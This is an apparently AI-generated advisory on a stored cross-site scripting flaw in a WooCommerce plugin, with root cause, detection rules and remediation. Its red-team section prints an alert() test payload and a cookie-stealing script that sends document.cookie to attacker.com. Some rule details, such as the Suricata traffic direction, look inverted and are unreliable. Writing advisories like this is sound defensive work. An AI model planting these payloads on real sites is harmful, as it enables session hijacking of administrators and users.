CVE-2025-22803

Executive Summary

CVE-2025-22803 is a Stored Cross-Site Scripting (XSS) vulnerability in the VillaTheme Advanced Product Information for WooCommerce plugin (slug: woo-advanced-product-information). This WordPress plugin allows authenticated users with high privileges (e.g., Shop Managers, Administrators) to inject arbitrary web scripts into product information fields. When other users or administrators view the affected product pages, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

The vulnerability exists in versions up to and including 1.1.4. No official patch has been released by the vendor. The CVSS score is 6.5 (Medium), reflecting the need for high privileges but the potential for significant impact through stored payloads.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users who have installed the plugin from any source are at risk. The lack of a patch means that supply chain security is compromised until the vendor releases an update or users manually apply mitigations.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): High (H) – Requires Shop Manager or Administrator access.
• User Interaction (UI): Required (R) – A victim must view the malicious product page.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. While the privilege requirement reduces the attack surface, the stored XSS nature allows persistent compromise of administrative sessions.

Deep Dive & Mechanics

The vulnerability lies in the plugin's handling of product information fields. The plugin does not properly sanitize or escape user-supplied input before storing it in the WordPress database. When the product information is rendered on the frontend or backend, the unsanitized input is output without proper encoding, allowing arbitrary HTML and JavaScript to execute.

Attack Flow:

1. An attacker with high privileges (e.g., Shop Manager) navigates to the product edit page.
2. The attacker inserts a malicious payload into a product information field (e.g., product description, custom tab).
3. The payload is stored in the database without sanitization.
4. When any user (including other administrators) views the product page, the payload executes in their browser.

Root Cause: The plugin uses echo or the_content filter without applying esc_html() or wp_kses() to user input.

Vulnerable vs. Patched Code

Vulnerable Code (v1.1.4):

// In a template or shortcode handler
echo $product_info_field; // Direct output without escaping

Patched Code (Hypothetical):

// Properly escape output
echo esc_html( $product_info_field );
// Or use wp_kses for allowed HTML
echo wp_kses( $product_info_field, $allowed_html );

Since no official patch exists, users must manually apply the fix by modifying the plugin files or using a Web Application Firewall (WAF).

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress installation with Advanced Product Information for WooCommerce <= 1.1.4
• High-privilege user account (Shop Manager or Administrator)

Exploitation Steps:

1. Log in as a Shop Manager.
2. Navigate to a product edit page.
3. In a text field (e.g., "Product Information"), inject the following payload:

   <script>alert('XSS')</script>
   

4. Save the product.
5. As a victim (any user), visit the product page. The script executes.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual product updates by high-privilege users.
• Look for script tags in product information fields in database logs.
• Use WAF rules to block common XSS patterns.

Hardening:

• Apply Content Security Policy (CSP) headers to restrict script execution.
• Use a WordPress security plugin that monitors file integrity.
• Restrict high-privilege accounts to trusted users only.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/woo-advanced-product-information/ (entire plugin directory)
• Database: wp_postmeta or custom tables containing unsanitized <script> tags.
• Network: Outbound connections to attacker-controlled domains from admin browsers.
• Logs: WordPress debug log entries showing wp_kses failures or unescaped output.

Detection Engineering

YARA Rule

rule CVE_2025_22803_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WooCommerce product information fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22803"
    strings:
        $script_tag = /<script[^>]*>.*?<\/script>/is
        $on_event = /on\w+\s*=\s*["']?[^"'\s>]+/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Advanced Product Information for WooCommerce
id: cve-2025-22803
status: experimental
description: Detects stored XSS attempts via product information fields
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: "/wp-admin/post.php"
        http.body|contains|all:
            - "post_type=product"
            - "product_information"
            - "<script"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in product descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-22803 Stored XSS Payload in WooCommerce Product Info"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"product_information"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Manually patch by adding esc_html() to all output functions in the plugin's template files.
3. Use a WAF (e.g., Cloudflare, ModSecurity) to block XSS payloads.

Long-Term:

• Monitor the vendor's website for an official update.
• Consider replacing the plugin with an alternative that is actively maintained.
• Implement a WordPress hardening policy that includes regular security audits.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.